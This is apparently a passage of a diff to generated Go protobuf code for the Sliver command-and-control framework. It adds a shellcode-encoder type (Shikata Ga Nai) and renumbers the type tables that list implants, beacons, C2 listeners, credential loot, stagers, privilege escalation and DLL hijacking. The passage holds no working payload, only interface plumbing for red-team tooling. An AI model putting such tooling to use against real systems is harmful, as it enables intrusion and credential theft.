0x4c, 0x49, 0x42, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f,
|
||||
0x44, 0x45, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42,
|
||||
0x4c, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10,
|
||||
0x03, 0x2a, 0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63,
|
||||
0x6f, 0x6c, 0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48,
|
||||
0x54, 0x54, 0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02,
|
||||
0x2a, 0x2e, 0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0d, 0x0a, 0x09,
|
||||
0x4c, 0x4f, 0x4f, 0x54, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x13, 0x0a, 0x0f, 0x4c,
|
||||
0x4f, 0x4f, 0x54, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41, 0x4c, 0x10, 0x01,
|
||||
0x2a, 0x4d, 0x0a, 0x0e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x79,
|
||||
0x70, 0x65, 0x12, 0x11, 0x0a, 0x0d, 0x4e, 0x4f, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54,
|
||||
0x49, 0x41, 0x4c, 0x10, 0x00, 0x12, 0x11, 0x0a, 0x0d, 0x55, 0x53, 0x45, 0x52, 0x5f, 0x50, 0x41,
|
||||
0x53, 0x53, 0x57, 0x4f, 0x52, 0x44, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x41, 0x50, 0x49, 0x5f,
|
||||
0x4b, 0x45, 0x59, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x03, 0x2a,
|
||||
0x2d, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e,
|
||||
0x4f, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41,
|
||||
0x52, 0x59, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x42, 0x2f,
|
||||
0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73,
|
||||
0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72,
|
||||
0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62,
|
||||
0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
|
||||
0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xeb, 0x01, 0x0a, 0x12, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63,
|
||||
0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, 0x12, 0x34, 0x0a, 0x07,
|
||||
0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e,
|
||||
0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f,
|
||||
0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64,
|
||||
0x65, 0x72, 0x12, 0x22, 0x0a, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75,
|
||||
0x72, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74,
|
||||
0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74,
|
||||
0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72,
|
||||
0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61,
|
||||
0x72, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61,
|
||||
0x72, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c,
|
||||
0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73,
|
||||
0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
|
||||
0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75,
|
||||
0x65, 0x73, 0x74, 0x22, 0x55, 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65,
|
||||
0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08,
|
||||
0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65,
|
||||
0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63,
|
||||
0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65,
|
||||
0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x13, 0x53,
|
||||
0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d,
|
||||
0x61, 0x70, 0x12, 0x47, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01,
|
||||
0x20, 0x03, 0x28, 0x0b, 0x32, 0x2b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
|
||||
0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72,
|
||||
0x4d, 0x61, 0x70, 0x2e, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72,
|
||||
0x79, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x1a, 0x57, 0x0a, 0x0d, 0x45,
|
||||
0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03,
|
||||
0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x30,
|
||||
0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e,
|
||||
0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f,
|
||||
0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65,
|
||||
0x3a, 0x02, 0x38, 0x01, 0x2a, 0x4a, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f,
|
||||
0x72, 0x6d, 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, 0x4c,
|
||||
0x49, 0x42, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, 0x44,
|
||||
0x45, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, 0x4c,
|
||||
0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, 0x03,
|
||||
0x2a, 0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f,
|
||||
0x6c, 0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54,
|
||||
0x54, 0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a,
|
||||
0x2e, 0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0d, 0x0a, 0x09, 0x4c,
|
||||
0x4f, 0x4f, 0x54, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x13, 0x0a, 0x0f, 0x4c, 0x4f,
|
||||
0x4f, 0x54, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41, 0x4c, 0x10, 0x01, 0x2a,
|
||||
0x4d, 0x0a, 0x0e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x79, 0x70,
|
||||
0x65, 0x12, 0x11, 0x0a, 0x0d, 0x4e, 0x4f, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49,
|
||||
0x41, 0x4c, 0x10, 0x00, 0x12, 0x11, 0x0a, 0x0d, 0x55, 0x53, 0x45, 0x52, 0x5f, 0x50, 0x41, 0x53,
|
||||
0x53, 0x57, 0x4f, 0x52, 0x44, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x41, 0x50, 0x49, 0x5f, 0x4b,
|
||||
0x45, 0x59, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x03, 0x2a, 0x2d,
|
||||
0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f,
|
||||
0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52,
|
||||
0x59, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x2a, 0x26, 0x0a,
|
||||
0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65,
|
||||
0x72, 0x12, 0x12, 0x0a, 0x0e, 0x53, 0x48, 0x49, 0x4b, 0x41, 0x54, 0x41, 0x5f, 0x47, 0x41, 0x5f,
|
||||
0x4e, 0x41, 0x49, 0x10, 0x00, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e,
|
||||
0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6c,
|
||||
0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
|
||||
}
|
||||
|
||||
var (
|
||||
@@ -6231,158 +6498,168 @@ func file_clientpb_client_proto_rawDescGZIP() []byte {
|
||||
return file_clientpb_client_proto_rawDescData
|
||||
}
|
||||
|
||||
var file_clientpb_client_proto_enumTypes = make([]protoimpl.EnumInfo, 5)
|
||||
var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 77)
|
||||
var file_clientpb_client_proto_enumTypes = make([]protoimpl.EnumInfo, 6)
|
||||
var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 81)
|
||||
var file_clientpb_client_proto_goTypes = []interface{}{
|
||||
(OutputFormat)(0), // 0: clientpb.OutputFormat
|
||||
(StageProtocol)(0), // 1: clientpb.StageProtocol
|
||||
(LootType)(0), // 2: clientpb.LootType
|
||||
(CredentialType)(0), // 3: clientpb.CredentialType
|
||||
(FileType)(0), // 4: clientpb.FileType
|
||||
(*Version)(nil), // 5: clientpb.Version
|
||||
(*Session)(nil), // 6: clientpb.Session
|
||||
(*Beacon)(nil), // 7: clientpb.Beacon
|
||||
(*Beacons)(nil), // 8: clientpb.Beacons
|
||||
(*BeaconTask)(nil), // 9: clientpb.BeaconTask
|
||||
(*BeaconTasks)(nil), // 10: clientpb.BeaconTasks
|
||||
(*ImplantC2)(nil), // 11: clientpb.ImplantC2
|
||||
(*ImplantConfig)(nil), // 12: clientpb.ImplantConfig
|
||||
(*ImplantBuilds)(nil), // 13: clientpb.ImplantBuilds
|
||||
(*CompilerTarget)(nil), // 14: clientpb.CompilerTarget
|
||||
(*CrossCompiler)(nil), // 15: clientpb.CrossCompiler
|
||||
(*Compiler)(nil), // 16: clientpb.Compiler
|
||||
(*DeleteReq)(nil), // 17: clientpb.DeleteReq
|
||||
(*DNSCanary)(nil), // 18: clientpb.DNSCanary
|
||||
(*Canaries)(nil), // 19: clientpb.Canaries
|
||||
(*UniqueWGIP)(nil), // 20: clientpb.UniqueWGIP
|
||||
(*ImplantProfile)(nil), // 21: clientpb.ImplantProfile
|
||||
(*ImplantProfiles)(nil), // 22: clientpb.ImplantProfiles
|
||||
(*RegenerateReq)(nil), // 23: clientpb.RegenerateReq
|
||||
(*Job)(nil), // 24: clientpb.Job
|
||||
(*Jobs)(nil), // 25: clientpb.Jobs
|
||||
(*KillJobReq)(nil), // 26: clientpb.KillJobReq
|
||||
(*KillJob)(nil), // 27: clientpb.KillJob
|
||||
(*MTLSListenerReq)(nil), // 28: clientpb.MTLSListenerReq
|
||||
(*MTLSListener)(nil), // 29: clientpb.MTLSListener
|
||||
(*WGListenerReq)(nil), // 30: clientpb.WGListenerReq
|
||||
(*WGListener)(nil), // 31: clientpb.WGListener
|
||||
(*DNSListenerReq)(nil), // 32: clientpb.DNSListenerReq
|
||||
(*DNSListener)(nil), // 33: clientpb.DNSListener
|
||||
(*HTTPListenerReq)(nil), // 34: clientpb.HTTPListenerReq
|
||||
(*NamedPipesReq)(nil), // 35: clientpb.NamedPipesReq
|
||||
(*NamedPipes)(nil), // 36: clientpb.NamedPipes
|
||||
(*TCPPivotReq)(nil), // 37: clientpb.TCPPivotReq
|
||||
(*TCPPivot)(nil), // 38: clientpb.TCPPivot
|
||||
(*HTTPListener)(nil), // 39: clientpb.HTTPListener
|
||||
(*Sessions)(nil), // 40: clientpb.Sessions
|
||||
(*RenameReq)(nil), // 41: clientpb.RenameReq
|
||||
(*GenerateReq)(nil), // 42: clientpb.GenerateReq
|
||||
(*Generate)(nil), // 43: clientpb.Generate
|
||||
(*MSFReq)(nil), // 44: clientpb.MSFReq
|
||||
(*MSFRemoteReq)(nil), // 45: clientpb.MSFRemoteReq
|
||||
(*StagerListenerReq)(nil), // 46: clientpb.StagerListenerReq
|
||||
(*StagerListener)(nil), // 47: clientpb.StagerListener
|
||||
(*ShellcodeRDIReq)(nil), // 48: clientpb.ShellcodeRDIReq
|
||||
(*ShellcodeRDI)(nil), // 49: clientpb.ShellcodeRDI
|
||||
(*MsfStagerReq)(nil), // 50: clientpb.MsfStagerReq
|
||||
(*MsfStager)(nil), // 51: clientpb.MsfStager
|
||||
(*GetSystemReq)(nil), // 52: clientpb.GetSystemReq
|
||||
(*MigrateReq)(nil), // 53: clientpb.MigrateReq
|
||||
(*CreateTunnelReq)(nil), // 54: clientpb.CreateTunnelReq
|
||||
(*CreateTunnel)(nil), // 55: clientpb.CreateTunnel
|
||||
(*CloseTunnelReq)(nil), // 56: clientpb.CloseTunnelReq
|
||||
(*PivotGraphEntry)(nil), // 57: clientpb.PivotGraphEntry
|
||||
(*PivotGraph)(nil), // 58: clientpb.PivotGraph
|
||||
(*Client)(nil), // 59: clientpb.Client
|
||||
(*Event)(nil), // 60: clientpb.Event
|
||||
(*Operators)(nil), // 61: clientpb.Operators
|
||||
(*Operator)(nil), // 62: clientpb.Operator
|
||||
(*WebContent)(nil), // 63: clientpb.WebContent
|
||||
(*WebsiteAddContent)(nil), // 64: clientpb.WebsiteAddContent
|
||||
(*WebsiteRemoveContent)(nil), // 65: clientpb.WebsiteRemoveContent
|
||||
(*Website)(nil), // 66: clientpb.Website
|
||||
(*Websites)(nil), // 67: clientpb.Websites
|
||||
(*WGClientConfig)(nil), // 68: clientpb.WGClientConfig
|
||||
(*Credential)(nil), // 69: clientpb.Credential
|
||||
(*Loot)(nil), // 70: clientpb.Loot
|
||||
(*AllLoot)(nil), // 71: clientpb.AllLoot
|
||||
(*IOC)(nil), // 72: clientpb.IOC
|
||||
(*ExtensionData)(nil), // 73: clientpb.ExtensionData
|
||||
(*Host)(nil), // 74: clientpb.Host
|
||||
(*AllHosts)(nil), // 75: clientpb.AllHosts
|
||||
(*DllHijackReq)(nil), // 76: clientpb.DllHijackReq
|
||||
(*DllHijack)(nil), // 77: clientpb.DllHijack
|
||||
nil, // 78: clientpb.ImplantBuilds.ConfigsEntry
|
||||
nil, // 79: clientpb.WebsiteAddContent.ContentsEntry
|
||||
nil, // 80: clientpb.Website.ContentsEntry
|
||||
nil, // 81: clientpb.Host.ExtensionDataEntry
|
||||
(*commonpb.Request)(nil), // 82: commonpb.Request
|
||||
(*commonpb.Response)(nil), // 83: commonpb.Response
|
||||
(*commonpb.File)(nil), // 84: commonpb.File
|
||||
(ShellcodeEncoder)(0), // 5: clientpb.ShellcodeEncoder
|
||||
(*Version)(nil), // 6: clientpb.Version
|
||||
(*Session)(nil), // 7: clientpb.Session
|
||||
(*Beacon)(nil), // 8: clientpb.Beacon
|
||||
(*Beacons)(nil), // 9: clientpb.Beacons
|
||||
(*BeaconTask)(nil), // 10: clientpb.BeaconTask
|
||||
(*BeaconTasks)(nil), // 11: clientpb.BeaconTasks
|
||||
(*ImplantC2)(nil), // 12: clientpb.ImplantC2
|
||||
(*ImplantConfig)(nil), // 13: clientpb.ImplantConfig
|
||||
(*ImplantBuilds)(nil), // 14: clientpb.ImplantBuilds
|
||||
(*CompilerTarget)(nil), // 15: clientpb.CompilerTarget
|
||||
(*CrossCompiler)(nil), // 16: clientpb.CrossCompiler
|
||||
(*Compiler)(nil), // 17: clientpb.Compiler
|
||||
(*DeleteReq)(nil), // 18: clientpb.DeleteReq
|
||||
(*DNSCanary)(nil), // 19: clientpb.DNSCanary
|
||||
(*Canaries)(nil), // 20: clientpb.Canaries
|
||||
(*UniqueWGIP)(nil), // 21: clientpb.UniqueWGIP
|
||||
(*ImplantProfile)(nil), // 22: clientpb.ImplantProfile
|
||||
(*ImplantProfiles)(nil), // 23: clientpb.ImplantProfiles
|
||||
(*RegenerateReq)(nil), // 24: clientpb.RegenerateReq
|
||||
(*Job)(nil), // 25: clientpb.Job
|
||||
(*Jobs)(nil), // 26: clientpb.Jobs
|
||||
(*KillJobReq)(nil), // 27: clientpb.KillJobReq
|
||||
(*KillJob)(nil), // 28: clientpb.KillJob
|
||||
(*MTLSListenerReq)(nil), // 29: clientpb.MTLSListenerReq
|
||||
(*MTLSListener)(nil), // 30: clientpb.MTLSListener
|
||||
(*WGListenerReq)(nil), // 31: clientpb.WGListenerReq
|
||||
(*WGListener)(nil), // 32: clientpb.WGListener
|
||||
(*DNSListenerReq)(nil), // 33: clientpb.DNSListenerReq
|
||||
(*DNSListener)(nil), // 34: clientpb.DNSListener
|
||||
(*HTTPListenerReq)(nil), // 35: clientpb.HTTPListenerReq
|
||||
(*NamedPipesReq)(nil), // 36: clientpb.NamedPipesReq
|
||||
(*NamedPipes)(nil), // 37: clientpb.NamedPipes
|
||||
(*TCPPivotReq)(nil), // 38: clientpb.TCPPivotReq
|
||||
(*TCPPivot)(nil), // 39: clientpb.TCPPivot
|
||||
(*HTTPListener)(nil), // 40: clientpb.HTTPListener
|
||||
(*Sessions)(nil), // 41: clientpb.Sessions
|
||||
(*RenameReq)(nil), // 42: clientpb.RenameReq
|
||||
(*GenerateReq)(nil), // 43: clientpb.GenerateReq
|
||||
(*Generate)(nil), // 44: clientpb.Generate
|
||||
(*MSFReq)(nil), // 45: clientpb.MSFReq
|
||||
(*MSFRemoteReq)(nil), // 46: clientpb.MSFRemoteReq
|
||||
(*StagerListenerReq)(nil), // 47: clientpb.StagerListenerReq
|
||||
(*StagerListener)(nil), // 48: clientpb.StagerListener
|
||||
(*ShellcodeRDIReq)(nil), // 49: clientpb.ShellcodeRDIReq
|
||||
(*ShellcodeRDI)(nil), // 50: clientpb.ShellcodeRDI
|
||||
(*MsfStagerReq)(nil), // 51: clientpb.MsfStagerReq
|
||||
(*MsfStager)(nil), // 52: clientpb.MsfStager
|
||||
(*GetSystemReq)(nil), // 53: clientpb.GetSystemReq
|
||||
(*MigrateReq)(nil), // 54: clientpb.MigrateReq
|
||||
(*CreateTunnelReq)(nil), // 55: clientpb.CreateTunnelReq
|
||||
(*CreateTunnel)(nil), // 56: clientpb.CreateTunnel
|
||||
(*CloseTunnelReq)(nil), // 57: clientpb.CloseTunnelReq
|
||||
(*PivotGraphEntry)(nil), // 58: clientpb.PivotGraphEntry
|
||||
(*PivotGraph)(nil), // 59: clientpb.PivotGraph
|
||||
(*Client)(nil), // 60: clientpb.Client
|
||||
(*Event)(nil), // 61: clientpb.Event
|
||||
(*Operators)(nil), // 62: clientpb.Operators
|
||||
(*Operator)(nil), // 63: clientpb.Operator
|
||||
(*WebContent)(nil), // 64: clientpb.WebContent
|
||||
(*WebsiteAddContent)(nil), // 65: clientpb.WebsiteAddContent
|
||||
(*WebsiteRemoveContent)(nil), // 66: clientpb.WebsiteRemoveContent
|
||||
(*Website)(nil), // 67: clientpb.Website
|
||||
(*Websites)(nil), // 68: clientpb.Websites
|
||||
(*WGClientConfig)(nil), // 69: clientpb.WGClientConfig
|
||||
(*Credential)(nil), // 70: clientpb.Credential
|
||||
(*Loot)(nil), // 71: clientpb.Loot
|
||||
(*AllLoot)(nil), // 72: clientpb.AllLoot
|
||||
(*IOC)(nil), // 73: clientpb.IOC
|
||||
(*ExtensionData)(nil), // 74: clientpb.ExtensionData
|
||||
(*Host)(nil), // 75: clientpb.Host
|
||||
(*AllHosts)(nil), // 76: clientpb.AllHosts
|
||||
(*DllHijackReq)(nil), // 77: clientpb.DllHijackReq
|
||||
(*DllHijack)(nil), // 78: clientpb.DllHijack
|
||||
(*ShellcodeEncodeReq)(nil), // 79: clientpb.ShellcodeEncodeReq
|
||||
(*ShellcodeEncode)(nil), // 80: clientpb.ShellcodeEncode
|
||||
(*ShellcodeEncoderMap)(nil), // 81: clientpb.ShellcodeEncoderMap
|
||||
nil, // 82: clientpb.ImplantBuilds.ConfigsEntry
|
||||
nil, // 83: clientpb.WebsiteAddContent.ContentsEntry
|
||||
nil, // 84: clientpb.Website.ContentsEntry
|
||||
nil, // 85: clientpb.Host.ExtensionDataEntry
|
||||
nil, // 86: clientpb.ShellcodeEncoderMap.EncodersEntry
|
||||
(*commonpb.Request)(nil), // 87: commonpb.Request
|
||||
(*commonpb.Response)(nil), // 88: commonpb.Response
|
||||
(*commonpb.File)(nil), // 89: commonpb.File
|
||||
}
|
||||
var file_clientpb_client_proto_depIdxs = []int32{
|
||||
7, // 0: clientpb.Beacons.Beacons:type_name -> clientpb.Beacon
|
||||
9, // 1: clientpb.BeaconTasks.Tasks:type_name -> clientpb.BeaconTask
|
||||
11, // 2: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2
|
||||
8, // 0: clientpb.Beacons.Beacons:type_name -> clientpb.Beacon
|
||||
10, // 1: clientpb.BeaconTasks.Tasks:type_name -> clientpb.BeaconTask
|
||||
12, // 2: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2
|
||||
0, // 3: clientpb.ImplantConfig.Format:type_name -> clientpb.OutputFormat
|
||||
78, // 4: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry
|
||||
82, // 4: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry
|
||||
0, // 5: clientpb.CompilerTarget.Format:type_name -> clientpb.OutputFormat
|
||||
14, // 6: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget
|
||||
15, // 7: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler
|
||||
14, // 8: clientpb.Compiler.UnsupportedTargets:type_name -> clientpb.CompilerTarget
|
||||
18, // 9: clientpb.Canaries.Canaries:type_name -> clientpb.DNSCanary
|
||||
12, // 10: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig
|
||||
21, // 11: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile
|
||||
24, // 12: clientpb.Jobs.Active:type_name -> clientpb.Job
|
||||
82, // 13: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request
|
||||
83, // 14: clientpb.NamedPipes.Response:type_name -> commonpb.Response
|
||||
82, // 15: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request
|
||||
83, // 16: clientpb.TCPPivot.Response:type_name -> commonpb.Response
|
||||
6, // 17: clientpb.Sessions.Sessions:type_name -> clientpb.Session
|
||||
12, // 18: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig
|
||||
84, // 19: clientpb.Generate.File:type_name -> commonpb.File
|
||||
82, // 20: clientpb.MSFReq.Request:type_name -> commonpb.Request
|
||||
82, // 21: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request
|
||||
15, // 6: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget
|
||||
16, // 7: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler
|
||||
15, // 8: clientpb.Compiler.UnsupportedTargets:type_name -> clientpb.CompilerTarget
|
||||
19, // 9: clientpb.Canaries.Canaries:type_name -> clientpb.DNSCanary
|
||||
13, // 10: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig
|
||||
22, // 11: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile
|
||||
25, // 12: clientpb.Jobs.Active:type_name -> clientpb.Job
|
||||
87, // 13: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request
|
||||
88, // 14: clientpb.NamedPipes.Response:type_name -> commonpb.Response
|
||||
87, // 15: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request
|
||||
88, // 16: clientpb.TCPPivot.Response:type_name -> commonpb.Response
|
||||
7, // 17: clientpb.Sessions.Sessions:type_name -> clientpb.Session
|
||||
13, // 18: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig
|
||||
89, // 19: clientpb.Generate.File:type_name -> commonpb.File
|
||||
87, // 20: clientpb.MSFReq.Request:type_name -> commonpb.Request
|
||||
87, // 21: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request
|
||||
1, // 22: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol
|
||||
1, // 23: clientpb.MsfStagerReq.Protocol:type_name -> clientpb.StageProtocol
|
||||
84, // 24: clientpb.MsfStager.File:type_name -> commonpb.File
|
||||
12, // 25: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig
|
||||
82, // 26: clientpb.GetSystemReq.Request:type_name -> commonpb.Request
|
||||
